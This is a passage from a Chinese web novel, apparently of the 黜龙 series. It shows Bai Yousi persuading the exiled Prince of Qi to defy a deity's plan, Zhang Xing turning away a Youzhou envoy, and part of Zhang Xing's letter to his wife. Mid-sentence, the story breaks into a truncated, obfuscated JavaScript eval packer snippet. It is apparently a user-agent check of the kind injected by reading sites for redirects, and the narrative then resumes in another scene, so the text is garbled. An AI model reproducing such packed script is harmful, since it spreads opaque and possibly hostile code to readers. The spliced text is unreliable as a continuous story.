其余还在嬉笑的头领们明显对这二位的摊手猝不及防。 且说,之前杜破阵如此想要去淮南,当然出于个人**野心,他始终没有跳出来一个农民-盗匪领袖的格局,而且说句公允的话,如果从半农半盗的格局去评价的话,他其实表现的极为出色。 至于说辅伯石等人疑虑,和杜破阵的信心,除了事情本身外,倒是跟这个世界的历史有一点点关系。 比如说唐皇本身只是祖帝麾下一重臣,祖帝大业不成,后续正是其部众相争,唐皇成了个相当的局面……这就产生了一种历史的相似感,会让身在局中的人觉得能够重复一些事情。 便是张行来的那个世界也有类似的事情,曹操跟袁绍嘛。 只不过,张行却不以为然。 “你想去淮南争一争天命,那就去嘛……我留你到现在,真不是要做什么,一来,帮内其余各部委实疲敝,需要你的淮西兵占着本地地利替我收一收场;二来,我也要定下去徐州为你殿后的人选才行。”张行继续来言,忽然看向了王叔勇。“五郎,你是要去北面打仗,还是要去徐州帮杜龙头料理身后?” “我自然是要做北面先锋。”之前便与雄伯南交谈过的王叔勇即刻做答。 “那好,你来北面统兵,让牛达去徐州收拾地方。”张行脱口而对。 王叔勇再度点头。 另一件大事情居然就这么轻飘飘过了,但之前张行跟雄伯南的努力却也无几人知道。 正在其余头领尚在胡思乱想之际,李定和雄伯南已经折回。 张行不由笑问:“如何?他可心服了?” “还好,帮里又添一大助力。”雄伯南摊手笑道。“但好像是被你问懵了,心里还有些胡思乱想。” “天下事不都是如此吗?”李定倒是有些叹气。“说起来简单,但其实又有几个人晓得自己念想到底是什么?” 话到这里,李四似乎想到了什么,然后忽然来问:“你罗盘呢?” “给思思送去了。”张行已经重新坐了回去。 其他人不晓得原委,李四却已经满头大汗:“你好大的胆子!” “不是胆子大,是信得过思思。”张行好整以暇。 夏日波涛汹涌,白有思忽然接到了城内钱唐带来的郦子期邀请,用那位大宗师的原话就是——“接应你们的人来了”! 似乎有如释重负的感觉,但要求只让白有思一人相见。 白有思不敢怠慢,即刻化作流光,飞入了金鳌城。 然而,即便是白有思,在进入大堂,看到等在里面的人以后,也是不由目瞪口呆,恍神了一下,方才出言: “齐王何至于此?” 等在大都督府后堂上的一人抬起头来,见到是白有思,苍白的脸上也明显愕然,但愕然之后反而有一种果然如此的感觉:“竟是白三娘吗?” 原来,此人居然是江都之变中消失的齐王曹铭。 他乡遇故知,两人错愕之后竟也都有些放松下来。 停了片刻,还是白有思重新来问:“大家都说齐王你在江都为司马氏所害,如何至此?” “**,又被人救回来了。”曹铭正色道。“然后从南面水路送到这里。” 白有思幽幽叹了口气:“谁救的你,又是谁送的你?” 曹铭刚要开口,孰料,旁边立着的大宗师郦子期忽然插嘴:“两位且容我稍作避让……” 说着,居然准备直接离开,乃是一点都不想听清楚里面原委。 “不用了。”白有思反过来喊住对方。“哪里有客人驱赶主人的道理,若齐王是正主,我自与齐王去营地中说话。” 郦子期犹豫了一下,但也无话可说,便只好点头。 曹铭也不反驳,低着头跟对方离开,出了后堂,转到前面,遇到复又追来的钱唐,后者眼见曹铭在此,也是目瞪口呆,却随着白有思一个眼色,立即低下头不吭声。 双方离开,转到城外,却不回营,只往营地对着的一片临海礁石滩上而去。 “是真火教救的我。”双方来到一处大礁石上,刚一立定,曹铭便束手开口,直截了当。“也是她们让我过来的……” “真火教老教主在淮北准备立新塔,新教主在取江都,哪个救的你?”白有思依然不解。 “都不是。”曹铭有些气虚。“是一群真火教的女冠,你晓得的,江都城外,养孩子、奉真火的那些。” 白有思恍然,继续喟然:“所以,果然是南面那位至尊做的此间事?” “应该是吧。”曹铭点点头。“我那伤势,便是千金教主亲自救治怕也艰难,现在居然能无事人一般,必是至尊垂怜……更不要说,后面那些女冠交待了许多不是她们能计较的事情。” “祂想要如何?”白有思继续来问。 “想要你跟我带着这些人一起去妖岛,然后在海外开创基业。”曹铭平静讲述。“仿效当年钱毅、郦月的故事。” 居然还有拉郎配! 说实话,这比白有思想的还要糟糕,但出乎意料,她并没有生气,只是反问:“钱毅、郦月什么下场?” “祂……她们让我转告你一件事情。”曹铭叹了口气。“她们说,你不是白横秋的亲生女儿,你本就是真火教的嫡传,是祂一开始就选定的这回乱世的天命之人。” 白有思确实被震惊到了,因为她知道,这种事情对方应该不会轻易说谎……没必要骗她。 而且,这也解释了一些事情。 “而且,白横秋无意间遇到你后,似乎也察觉到你的不凡,只将你送到三一正教教导,却不教你文韬武略、熟悉权谋,本就是蹉跎你的意思。”曹铭继续转述。“除此之外,你刚回西都得时候,他还试着将你嫁给我,以求一举两得,只不过被我那位父亲警觉了,反而没有成功……我那父亲担心我有白氏襄助,会反过来压制他。” 白有思缓了许久,方才回过神来,然后反问:“然后呢?” “什么然后?”曹铭不解。 “只有这些吗?”白有思正色问道。 “这些还不够吗?”曹铭反问。“到底是至尊的旨意。” “不说至尊,只说你,你呢?”白有思继续正色询问。“你自己有什么说法吗?” “我能有什么说法?”曹铭苦笑。“唯一可计较的,便是我为了对抗东夷,几乎废了修为来引动真龙,如今却居然要依仗东夷,与东夷人并立……不免荒唐。” “我是问,你不想知道你儿子赵王在哪里吗?不想知道你母亲在何处吗?”白有思微微侧脸来问。“你就这般心甘情愿要去什么妖岛,当什么钱毅……你是做钱毅还是郦月?” 曹铭不由愣住:“我母我儿尚在?” 白有思终于失笑:“我以为齐王殿下眼里只有旨意呢……陆上至尊的旨意不敢违逆,天上至尊的旨意也不敢违逆” 曹铭欲言又止。 白有思收敛笑意,正色相告:“齐王,赵王被拥立做了新皇帝,然后禁军北返,又被我们黜龙帮击败,你母亲与你儿子,如今都在河北安置,过寻常日子……你要背离他们吗?” 哪怕有夕阳照射,曹铭面色也显得更白了:“我……可是白三娘,至尊到底如何违逆?” “这个事情先不是如何的事情,而是要先问可不可以违逆,该不该违逆?”白有思抱着长剑来言。“齐王,你觉得至尊可以违逆吗?该违逆吗?” 曹铭默不作声。 “我觉得可以,因为只要该,就可以。”白有思正色道。“你觉得这件事该违逆吗?” “如何能说‘该’呢?”曹铭勉力来应。“天意晦暗,只有至尊明了,你嘲讽我畏惧旨意,但天上至尊跟陆上至尊还不是一回事,真正的至尊行事是合天意的……” “你也说天意晦暗,所以至尊行事便合天意吗?”白有思反问。“若是这般,当日至尊们怎么打起来的?” “我……” “齐王殿下,你知道我观想的是什么吗?”白有思打断对方。 “不知道。”曹铭对对方这个话题转换明显不解。 “我观想的是一个人,正是我夫君张行张三郎。”白有思平静来言。“而我看他行事,素来大胆,便也好奇,但后来看的多了,观想得道,却是有所察觉……他这个人是这样的,若天意昭彰,便顺天而行,而若天意不明,居然就敢妄自尊大,以人心来定天意!” 话到这里,白有思虚抬起剑柄向上指天,重申了一遍:“这件事也是一样,若天意如此,请天自言,而若不言,这个该不该的,便由人来定。” 曹铭整个愣住。 而天空依旧**无云,周边也是海浪如常。 片刻后,白有思复又转过脸去,看向了被夕阳照射的大营,然后抱着长剑继续来言:“这营地里足足有数万之众,其中一万多人还是我原本的部属,他们这些人,麻烦不断,想法不同,但想来想去,看来看去,却总是想回家的居多……而我也答应过他们,无论如何都要送他们回家去的。 “而我也要回家去的。” 曹铭听到这里,总算晓得对方心意已定,却又无奈:“便是该,又如何呢?那是至尊!” “这就是另外一件事了。” 说着,白有思单手持剑,然后单手将腰中那物,也就是那面罗盘了,拿了出来,放在掌中,并毫不犹豫的念出了一句非常古怪的话: “太上老君急急如律令!” 第三十六章归来行(2) “太上老君急急如律令!” 夏日傍晚的夕阳下,一句怪异而又简单的话喊出来以后,就在旁边的曹铭猛地打了个哆嗦,竟是莫名生出了一股彻骨寒意。 然而,其人四下去望,却不见半点异常。 夕阳还是夕阳,映照在海面上金红一片,随波荡漾;远处的营地内,炊烟袅袅,正是晚前最热闹的时候;而一侧的金鳌城内外,却因为要关闭城门而已经进入整肃状态。 这一切都如常。 甚至,甚至……有点封建主义大和谐的那种感觉。 转回头再慌乱去看白有思,却发现白有思的目光已经落到自己身后一处地方……曹铭无奈顺势看去,却正是刚刚看过的金鳌城。 “真有意思。”而将待曹铭要问时,白有思却含笑开口了。“我欲归登州,罗盘却指了这金鳌城……齐王殿下,你说这城里有什么关键或要害吗?” “能有什么?”曹铭强作镇定,几乎是本能做答。“这城里有大宗师!也是至尊派来的监军!你这罗盘……” “原来如此,我还以为是说我的船队呢,但方位稍微有些不对。”白有思晃了晃罗盘,确定方向后便将罗盘从容挂回到了腰间,而也就是挂回去的那一瞬间,罗盘那明显挺直的指针复又神奇的垂了下去。“齐王殿下,你说这东夷大宗师是心甘情愿为南面那位做此番辛苦的吗?” 曹铭摇头苦笑:“不管如何,他还能跟你一样对至尊起了逆反之心吗?你以为人人……” 话到一半,这位光杆齐王殿下便闭上了嘴,然后再三回头怔怔看向了身后的金鳌城。 “天不言,就有人来定。”白有思抱着长剑微微眯眼,同样看向金鳌城。“别人不晓得,咱们难道不知道吗?大宗师到底还是人的…” 曹铭这次没有说什么丧气话,他犹豫了一下,反过来问道:“你是说,这位大都督到底是东夷人的大都督,所以便是论至尊也是先以青帝爷为主,南面那位次之?所以总可以为难他一下,试一试他?” “自然有此意。”白有思认真作答。“不过我觉得最大指望,还在于他是人而非神。” 曹铭摇摇头,他不是不懂对方意思……实际上,论修为,他曾经一度到过宗师;论**地位,他在许多年内一直是被朝野广泛认可的隐性继承人;论经历见识,他也曾提惊龙剑去唤分山君,且两位大宗师与他都曾亲近……一个算是他老师,一个是叔祖。 但是,越如此,他越是觉得天堑难越……至尊对上白三娘这种宗师,乃至于郦子期这种大宗师,应该就是大宗师对上寻常奇经正脉吧? 怎么对付? 而且你对付完了大宗师又如何?还有至尊呢! 说白了,他就是没有那个信心。 只不过,话还得说回来,而且还得说的更难听一点……都到这份上了,他的境遇还能更糟糕吗?他反对,有效吗? 所以,曹铭干脆再度摇了摇头:“白三娘,我母我儿在张三郎手上,救助也好,劫持也罢,反正事情是如此,故你若一心如此,我无话可说,听你差遣便是……你要我去跟郦子期说吗?” “不。”白有思微微笑道。“郦子期这里我来对付,我要你去寻王元德,借他之力来为难郦子期。” 曹铭懵了很久,眼瞅着太阳都快落下去了,方才来问:“王元德又是谁?” “侯君束是谁?”济水畔的一个小村子里,坐在村头树荫下的张行盯着眼前公文愣了许久,愣是没想起来上面这人是谁,便张口来问。 这才几年,自己已经到了这种份上了吗?连所谓幽州重臣都记不住了?曹彻附体了?自己不就是夏天来了以后多喝了几杯酸梅汤嘛,还自己冰镇的……也不算懈怠吧? 就在张首席有些茫然到自我怀疑的时候,随行的新任文书封常赶紧从后方出来躬身做答:“回禀首席,若侯君束能到首席案前,只应该是幽州方面的使者……此人是正经关陇出身,但其祖父却在前朝之前的司马氏与东齐对峙时得了北地七卫八公中柳城公的位子,却又在大魏并吞时迟疑了一些,又被前朝一朝弃用,如今只在幽州一带厮混。” 张行看了看手上转自济阴城却来自于河北的公文犹疑片刻,然后认真来问:“这人很有名气吗?” “他有什么名气?”封常不由苦笑摊手。“这人就是个破落户,而且算年纪不过二十出头,修为也不高,做事也没有耐性,急功近利倒是出了名的,只是在掷刀岭周边有些名头罢了。不过……” 话到这里,封常反而稍微肃然起来:“不过这种人到了乱世,反而是如鱼得水,算是天生做……乱的料。” “原来是个新冒出来的人,我还以为此人是幽州重臣,我居然忘了呢。”坐在那里的张行如释重负。“他应该是罗术控制幽州后刚刚投奔的?” “应该是。” “这个什么幽州北面都督、安乐郡太守、奋武将军、柳城公……” “柳城公肯定是他为了彰显祖上名号自夸,将军号十之**是幽州内部自表,幽州北面都督跟安乐郡太守则是一回事,就是幽州北面通往掷刀岭要道上的一个小郡,只有两个县,甚至就是两座小城……” 张行想了一想,还是朝旁边参谋来言:“去济阴城内看看张公慎张分管有没有出发,没有请他来一趟。” 参谋随即便要去寻人。 但也就是此时,封常赶紧又来言:“首席且慢……” 张行随即抬手制止参谋,同时来看封常:“怎么说?” “首席,敢问首席为何来问此人……是此人做了什么事情,还是来了咱们这边?”封常立即询问。 “来我们这里做使者。”张行抬手道。 “这就对了……幽州此时遣使过来,依着罗术这个人的眼界狭窄,怕是难直接降服,反而是要与我们联手,夹击河间薛常雄……敢问是也不是?”封常继续来问。 “确实。“张行点头,复又不解。“封文书,你如何晓得幽州上下,罗术也倒罢了,这个什么侯君束居然也晓得?” “回禀首席。”封常赶紧解释。“属下本就是河北人,母族正是幽州人,所以晓得。” “可你不是早就出来做官了吗?”张行依旧好奇。“我记得你妻子是杨斌的幼妹,那都是什么时候的事了?” “不过是二十年前。”封常勉力笑道。 “二十年前就入了中枢,如何晓得一个二十来岁的破落户,还是母族乡里的?” “谁让杨斌这个人外宽内忌,杨慎这个人志大才疏,而前朝大魏两任皇帝曹彻一个酷烈偏私,一个视人为草芥呢?”封常连连苦笑。“在下遇到张首席之前,能寻到虞常基虞相公做个遮蔽,已经很不错了……常年不得位,上头又云波诡谲,自然要留意乡梓,注意退路,所以才知道幽州燕山北麓有这么一个人。” 张行若有所思点点头,却又去看侧前方树荫下磨盘旁的文书副分管虞常南,但后者只是坐着凳子于磨盘上奋笔疾书,按照要求回复什么公文,对这边的事情充耳不闻。 这俩人,再加上马围,以及尚未归来的阎庆,其实就是张行为陈斌配的四个核心副手了。 如果考虑到马围主要负责军事上的辅助,阎庆更像是人事监督,那陈斌真正的助手反而就是这俩个德行、资历、功勋不一的降人了。 坦诚说,这不合规矩,不合情理,但实属无奈。 说白了,黜龙帮的那些资历头领们没这个本事和经验……就连陈斌其实都是降人,而且是二重降人,是南陈的皇族。但即便是陈斌,在面对越来越大的摊子时,也明显吃力,只能指望这些之前替大魏打理天下的降人了。 想到这里,张行心中委实有些感慨——文法吏……文法吏,以文书治天下,便是神仙真龙来了,都不耽误纸笔的力量。 “那你为何不让张公慎过来呢?”张行想了一下,方才回到原本问题。 “回禀首席,罗术这个人图小利而无远见,再加上他可能自恃之前在河北战事中对我们有‘恩’,若不来求夹击反而奇怪。”封常也去了紧张之态,立即解释。“只不过,这种事情到底是大事,敢问他为何不派自己心腹过来呢?比如说什么燕云十八骑的那些人?” “可能是需要靠十八骑掌军,也可能是怕这些人见到我跟张公慎张头领一般不走了。”张行笑道。“这些人见到张头领,总免不了一些尴尬。” “首席所言极是,就是因为张公慎头领在这里,他怕这些人见到张头领后尴尬。”封常正色道。 “那他派这人来,还是顶了公慎之前在安乐郡位置的新人……”张行话说一半,却也摇头失笑。“我知道了,他是要反过来让公慎尴尬……不要喊张头领了,让他回河北忙军器监的事情,什么都不告诉他,只让那个侯君束来这里见我。” 王翼部的参谋随即而去。 “首席英睿。”封常目送参谋离去,也跟着笑了。“属下也要恭贺首席了……看来河北一统断无波折了。” “怎么说?”张行似笑非笑。 “因为之前只知道罗术是个没有远见的武夫,却没想到他这般无德无略。”封常笑道。“这种人,看似赳赳,而且武力煊赫,似乎有些能耐和本钱,但他越是折腾,越是葬送局面,平白将豪杰与河山推给有德之人……而首席便是有德之人。” “我也是有德之人?”张行大笑。“李四郎他们可不是这般说的……” 封常一时干笑,却不好接话了。 张行却又正色起来:“其实,评论一个人的德行还是要看他处境和位置,真到了山穷水尽或者无牵无挂的时候,烂事我也干,换成在之前大魏朝廷里,上下左右都无德,你想有德怕是也难……只不过,罗术到底是幽州十几郡之主,这次来也是为了结盟,为了他的赳赳武志……不说他结盟对不对,只是既要与我们结盟,偏偏又要来让我们帮里的头领尴尬,让张头领尴尬不就是让咱们黜龙帮难堪吗?这也确实有些……短浅了。” 封常只是颔首。 就这样,众人撇开这个话题,只回到原本的工作上去。 原来,此时议和已成,军队也解散到了最后一步,随着将牛达派遣往徐州后,最后一桩大事也已经敲定,于是大部分人便都启程,或者回到原本的行台,或者回到预定但从未落实的大行台驻地。 李定回武安了,柴孝和回济北了,单通海没有“回”济阴,反而“回”了荥阳,谢鸣鹤去了东都还没有回来,王叔勇则直接去了魏郡,就连秦宝都去了东郡接他娘去了。 现在,张公慎、张世昭、韩二郎、十三金刚他们这批人也要启程了。 当然,雄伯南尚在谯郡带着几个军法营计点军功,伍惊风也留在了谯郡,几个降人,还有部分文书、参谋、准备将也都留了下来,随张行在这里盘桓,却什么正事、大事都不作,反而把心思放在了这回战事伤亡的抚恤上。 而且不是整体的把握,是亲自往济阴周边巡查这一年战事后的烈属与伤残退役军士。 究其原因,不是说没有事做,真要做肯定有的做,而且都算是大事,尤其是两个新立行台的结构、人事、方略什么的,只不过张行决定缓一缓,等秋收后再来切实做这些事。 而且即便是秋后,也要做的缓慢一些,甚至还准备做点别的闲杂事情,比如说祭祀、运动会、蒙基部开学仪式什么的,包括想过给窦小娘和苏靖方主持婚礼……黜龙帮之前一年过于辛苦了,战争烈度也极大,是时候缓一缓了。 所谓休整,是要全方位的,从兵员、器械补充到人精神状态的全面性休整。 不过,张行留在这里做调查而不是去别的地方调查,究其原因还有一个说法,那就是他在等人,但不是等侯君束,而是在等那位就在淮北的大宗师……此人已经联系到了,原本想要过来,路上听到要着急救治的人已经**,却又稍微一停,在谯郡去协助处理战后死伤了。 总得弄清楚这位大宗师的立场。 大约过了一个多时辰,距离此地并不远的济阴方向,驰来数骑,而此时张行所在的树荫下,却又不止是文书、参谋、准备将了,还多了几十位村民。 张首席正坐在树下,与这些人闲谈呢。 真的是闲谈,一行人抵达,队伍里的幽州军使者侯君束听得清楚,张首席在问这些人村里的婚姻情况,谁家嫁给谁,几个媳妇是村外的,又有几个姑娘嫁去了济阴城里。 坦诚说,这让侯君束有些措手不及,来之前想好的言语也都不知道该如何开始。 非只如此,那张首席抬头看了看来人,却只是皱了皱眉头,然后居然置之不理,继续与那些村民聊及婚姻: “残废的军士竟然争着嫁吗?” “不是争着嫁,是不愁娶……”已经明显适应了交谈的村民赶紧回复。“有残废的,就有死的,死的就有寡妇,寡妇就喜欢带着地跟儿女去嫁残废的,一下子老婆孩子都有,还成了地主。” 张行恍然,却又苦笑,只能摆手:“我知道了,辛苦老丈们了,先回去吧,我这里来客人了。” 那些村民这些如梦方醒,赶紧起身慌慌张张入村去了。 张行叹了口气,然后看向到来队伍中一人:“公慎,你怎么看?” 那人,也就是黜龙帮头领张公慎了,闻言认真思索片刻,给出答复:“应该算是好事吧?到底给了功臣一个交代。只怕不能长久。” “关键是**……三征以来平白死的人太多了。”张行摇头道。“可靠**来兼并土地做地主,哪里能长久?得想着人口正常繁衍的局面……到时候人口增多,地还是那些地,狭乡宽乡一起,却不知道要如何处置了?而且那个时候也不用打仗了,更不知道如何引导咱们这些拿命换来的功臣地主?” 张公慎点点头:“首席想的长远。” 旁边侯君束面色不变看着这一幕,却忍不住暗暗咽了一口口水。 这位不知道算是关陇还是北地又或者幽燕豪杰的想法很简单,这张三郎说的想的,还有这个坐立说话的样子,怎么那么,那么不着调呢? 当今乱世,英雄辈出,豪杰并起,正是大肆兼并,攻伐杀戮,图谋设计,以求功业的时候,怎么能像个老农一样坐在村头大树下,靠着磨盘唉声叹气跟人说什么乡里的婚姻? 这种人,简直就是个笑话。 但是,偏偏侯君束心知肚明,眼前这个张三郎断然不是个笑话。 想一想就知道,此人自此地济水畔起兵,四载有余而已,硬生生带着一群豪强盗匪之流,标准的乌合之众,灭张须果,破薛常雄,拒白横秋,并李定,降冯无佚,逐李枢,吞司马化达,两度俘虏皇太后,废一任皇帝。 到了眼下,他的黜龙帮只是地盘便东并大海,西挟红山,北跨大河,南连淮水,稳稳当当好几十个河北、东境、江淮的心腹大郡,隐隐有了当日东齐的七分局面。 更不要说,大魏的宰相对他纳头便拜,草莽宗师俯首称臣,如今人家麾下宗师数人,成丹凝丹数不胜数,堪称英雄汇聚,豪杰如云……不说别的,之前在河北接待自己的八臂天王张金树,这护送自己来的河南巡骑营头领张亮,昔日燕云十八骑中几乎算是前三的张公慎,哪个不是英雄豪杰?哪个心中没有丘壑?哪个是不能攻杀谋略的主? 却都只是黜龙帮寻常头领。 那么,眼前这位张首席,怎么可能是笑话? 而若人家不是笑话,那本能以为人家是笑话的自己莫非反而是个笑话? 可自己怎么能是个笑话呢? 自己是个大大的豪杰! 侯君束脑子一片混沌,那边张行已经继续来问张公慎了:“公慎,你不去往河北,如何来的此地?可有什么计较?” 张公慎倒是坦然,直接往侯君束身上一指:“幽州来使者,直接在城内寻了我,想让我做个介绍,正好遇到首席召唤他,我便跟来了。” 张行摇头不止:“你倒是大度。” 张公慎面不改色:“人家以礼而来,总要听听说法的……就好像首席刚刚说的那般意思,三征以来平白死太多人了,能少**还是少**。” “不错,就是这个意思。”张行复又颔首不及。“算了,你就听一听吧,这人我已经知道底细,侯君……束?是吧?” 说着,张行终于转头看向了幽州军来使,而一直到这个时候,他才稍作打量,看清楚对方的衣着容貌。 侯君束今年二十多岁,面白皮净,却显得瘦削,衣着明显上档次,一身锦衣专门做了收口,方便舞刀弄枪,腰间也的确配着一把刀鞘装饰华丽但刀柄古朴的长刀,再戴着崭新的武士小冠,踢着裹了透气六合靴。 很显然,他在打扮上下了功夫。 不过,他最明显的特征却是那双眼睛,眼缝细长,却始终努力睁大,而且不停的四下转动来看,与保持固定的身躯、毫不动摇的表情形成了鲜明对比。 这让张行莫名想到了一个根本不怎么相像的人——刘黑榥。 不过刘黑榥这厮喜怒形于色啊,而且审美也没到戴武士冠的地步,最多头上勒个带子。 “在下便是侯君束。”那人终于俯首下拜。“奉我主之命,来求见张首席,以期达成盟约,夹攻薛常雄,若能成功,则平分河间。” 张行不置可否,只是缓缓来问:“怎么平分?” “我们幽州只要河间郡,其余郡县全都交予黜龙帮。”侯君束脱口而对。 周围人不少立即笑出了声。 且说,河北的州郡就是这么古怪,跟济水一带州郡大小相当、人口类似不同,河北那边州郡的差距却因为地理和人文历史因素而显得巨大到匪夷所思的地步……小的,如张公慎跟侯君束所领的安乐郡,其实就是个联结河北跟北地的交通要道,两个县都是硬凑的,大的,如幽州、河间这种基本上算是总管州的州郡,幅员辽阔,一个抵得上寻常州郡三五个。 实际上,大魏治下,这两个地方本就有设有大营,各有总管,只不过幽州是常设,而河间是临时设置罢了。 那么回到眼下,薛常雄现在的地盘有多大呢? 答案很简单,一个河间郡,一个信都郡,半个博陵郡而已。而其中一个河间郡便抵得上三个信都,或者三个博陵了。 那罗术这种分法,尤其是黜龙帮实力明显更胜一筹的情况下,不免显得可笑。 “这是罗总管的意思,还是你侯将军的意思?”张行想了一想,问了个有些莫名其妙的问题。 “当然是我们总管的意思。”侯君束即刻做答,而且也觉得对方有些莫名其妙。 “我的意思是,你不是幽州北面都督、安乐郡太守、奋武将军、柳城公吗?”张行状若不解。“这般身份,明显是幽州重臣,如今又做了使者,显然是罗总管心腹,总应该有些临机决断之权吧?” 侯君束不由有些尴尬,但也只能硬着头皮答非所问:“既为使者,总要不辱使命。” “那你的使命是什么?”张行继续正色来问。“难道不是为了达成两家盟约,合攻河间吗?现在我问你有没有临机决断之权,明显是对这个盟约条件不满意……” 侯君束闻言赶紧拱手笑对:“张首席若自有方略,尽管来说,我回去必将转达。” 张行含笑摇头不止。 侯君束愈发紧张不安。 这个时候,封常忽然上前一步,拱手来言:“候将军,我家首席的意思是说,你到底是做使者还是来做信使的?若只是个传话的信使,为何一定要求见我家首席?而且,若只是个信使,为何要你一位幽州重臣来做?这委实不合情理。” 侯君束终于支撑不住,一时面红耳赤。 “算了。”张行摆手以对。“从幽州……不对,从北地柳城那边过来到这济水,堪称千里迢迢,也算辛苦,不妨稍住几日再回去,只请罗总管再遣一位能做决断的心腹过来就好。” 侯君束似乎还想说话,旁边一直没吭声的巡骑营头领张亮赶紧上前立在了此人与张行中间,并抬手示意,请他离开。周围随行巡骑也都拥了上来,直接按刀围住。 侯君束无可奈何,而且他委实有些发懵,实在是不理解为什么好好的出使活动几句话就弄成这个样子? 不是你张首席刚刚说的吗?能少**还是要少**的。 稀里糊涂被赶走后,其人还能听到那张首席对沿途招待自己的张亮进行训斥……这就更让人难堪了。 “你怎么能随着他让他自行去拜会张头领?”张行面色确实不渝。 张亮一愣,醒悟过来,也是一时讪讪。 孰料,张行随即努嘴示意:“追上去,埋怨一下此人,顺便告诉张金树,让他想法子把张头领的家人接过来。” 张亮恍然,立即转身离去。 这个时候,张行方才来看张公慎:“公慎,没必要委曲求全的。” “首席想多了。”张公慎连连摇头,却又正色来问。“首席难道是为了我的脸面才拒盟的吗?恕我直言,国家大事,若是因为我私人缘故而有些偏差,那反而让我惭愧。” “何至于此?”张行连连摆手。“河北之事,一年内咱们都不会动刀兵,翻脸也好,结盟也罢,于此时而言只是敷衍哄骗北面两家的手段,公慎不必有负担。” 张公慎这才放下心来。 另一边,张亮追上侯君束,却是立即让周边巡骑回避,然后只与对方两人并马,这才低声埋怨:“侯将军,我看你是名家之后,又豪气过人,这才与你方便,结果你怎么是个被排挤出来的?复又连累到我身上?” 侯君束莫名其妙:“如何说什么排挤?” “你若不是被排挤,怎么能出来做这活?”张亮冷笑一声。 “如果说出来做公事就是被排挤,你们那位谢总管未免日日被排挤了。”侯君束即刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而酒过三巡,歌舞皆罢,王元德方才开口询问,委实修养过人:“齐王何至于此啊?” “山穷水尽,求王将军收留。”曹铭拱手相对,也不知道是他临时想的,还是白有思叮嘱的说法。 王元德一时干笑:“据我所知,大魏还没有山穷水尽,东都和西都都还奉曹魏为正统,若齐王折返中原,说不得还有一个皇位……” “有位子也不敢坐了。”曹铭喟然道。“坐了就是死路一条……大魏气数已尽,我能活命已然是至尊庇佑了……王将军,我不是来求什么良田美宅的,更不敢奢求什么权位,我虽因为当日强行唤起分山君坏了身体,但还有半个宗师的架子,哪里不能活?只求你给一句话,许我留下。” 王元德反而不解:“若是这般,齐王殿下尽管留下便是,何须我一句话?莫非是要我引见我们大东胜国国主?” “不,不用引见国主,见了国主反而难堪。”曹铭恳切以对。“我只要王将军一句话……不瞒王将军,我之所以至此,是因为贵国大都督非得想把我扶到妖岛国主的位置,我心灰意冷,却又不堪其扰,恰好有人告诉我,整个大东胜国只有王将军能抵挡那位大都督,所以至此来求庇护。” 王元德联系起之前的一些事情,瞬间醒悟。 而这个时候,曹铭语调却又哀伤起来:“国破家亡,妻离子散,本想寻个清净之地了此残生,但大都督却不愿意放过我……而我思来想去,发觉这天下之大,竟然只有王将军这一处可以存身了……王将军,我不敢说这天下我最凄惨,但这天下可还有比我更孤立无援之人?” 说着,曹铭居然当场垂泪不止。 王元德眼见对方情真意切,也有些感慨,但他到底是个心怀大志的,想了一想,还是认真来做验证:“如此说来,之前白三娘的纠缠,也是为了妖岛?” “他想要白三娘去协助我。”曹铭坦诚相告。“如此好在妖岛立足。” “好大的谋划!”王元德点点头,复又摇头。“好坏的谋划!” 曹铭只是掩面擦泪:“我也不愿意,白三娘也不愿意,但大都督一意孤行,据说还到青帝观做了占卜,也是许他的。” “占卜。”王元德似笑非笑。“若信占卜,不是不行,得青帝爷亲自来讲……否则,谁能心平?” “那……王将军能不能留我在这里,然后给大都督去一封信,劝一劝呢?”曹铭面露期待。 “此事容易。”王元德倒是干脆。“一封信如何不能写?齐王且在我这里安坐便是。” 还是比某**方干脆。 时间一晃数日,金鳌城外,营地已经整肃起来,并且几乎已经做了启程的部分准备,这一日,在巡查完营地之后,白有思同时等到了两个信使。 一个是城内钱唐派来的,乃是说大都督郦子期请她入城一叙。 另一个也是钱唐派来的,却是从登州快马转来的某人书信。 “让钱唐转告大都督,我这边收到夫君来信,正要阅读回复,就不去城里了,明日再见。”白有思掂了掂手里厚厚的信封,从容下令。 说完,直接转回到了自己的木屋内。然后,便就着海风与下午阳光,于桌前打开了那封信。 “我妻思思挚爱,见字如面。 此信发出之前,中原战事已悉平,两家各军尽散,阡陌之间,行人如织,稍复安泰之象。另,月娘与秦宝娘亲已至东郡,皆平安,勿忧。” 白有思随意扫过,目光停在月娘二字上面,想了一会,还是放下,继续看去。 “千金教主确信已至淮北,其人得金戈夫子提醒,决心重新立塔,委实可敬。只是,不知是否属我误会,我屡次延请相邀,或求拜访,他虽回复泰然,却始终不定,总觉得他有些回避之态……不过,如今时间充裕,再加上小周已经准备秋收前便启程过来,我总要送小周与他一见,请他治疗,届时便晓得原委了。” 白有思心中一叹,她如何不晓得,对方回此信时必然还没接到自己上一封回信,否则便该猜到,这千金教主之所以回避,怕是有她白三娘的缘故,所以想拖一拖。 只是不知道,这位教主跟自己到底有多大关系,又对此番事有几分知情了? “除此之外,不晓得是不是之前一年过于紧绷,如今安泰下来,帮中反而有些人心不定,只是不易察觉罢了。 如谢鸣鹤,往来如常,但内里似乎有些厌倦疲惫之态;如陈斌、马围几人,干练依旧,也好像隐隐有些不安之心;还有一些领兵头领,晓得自己要被渐渐剥离兵权,行事也有颓唐起来。与此同时,窦立德用心功名,不愿停留;张世昭恨时光飞逝不复回,心中紧张;韩二郎、封常虽德行不一,却都是新人,自然想有所为,于是各自显得难承平安,坐立不定起来。 我细细来想,这其实是人之常情,四年纷争不断,人心疲敝,终得喘息之机,自然有些不知所措。其实非只是他们,便是我,虽有计划,却也有些行事杂乱起来,留在济水这边等个秋收,也都常常不安。 遑论他人? 故此,我与你写信同时,也开始与这些人私下写信,或是鼓励,或是安慰,或是装模作样寻求意见,以求人心妥当。 不过,对于李定,我倒是准备写信嘲讽于他。 须知道,这次议和,本是这厮一力主导,修养整备一年不动刀兵,也是他一力推动,可真到了偃旗息鼓之后,反而就数他最为不安,宛若猴子一般,竟是连老婆都等不回来,就直接回武安去做整备了。 竟没我有三分耐性。” 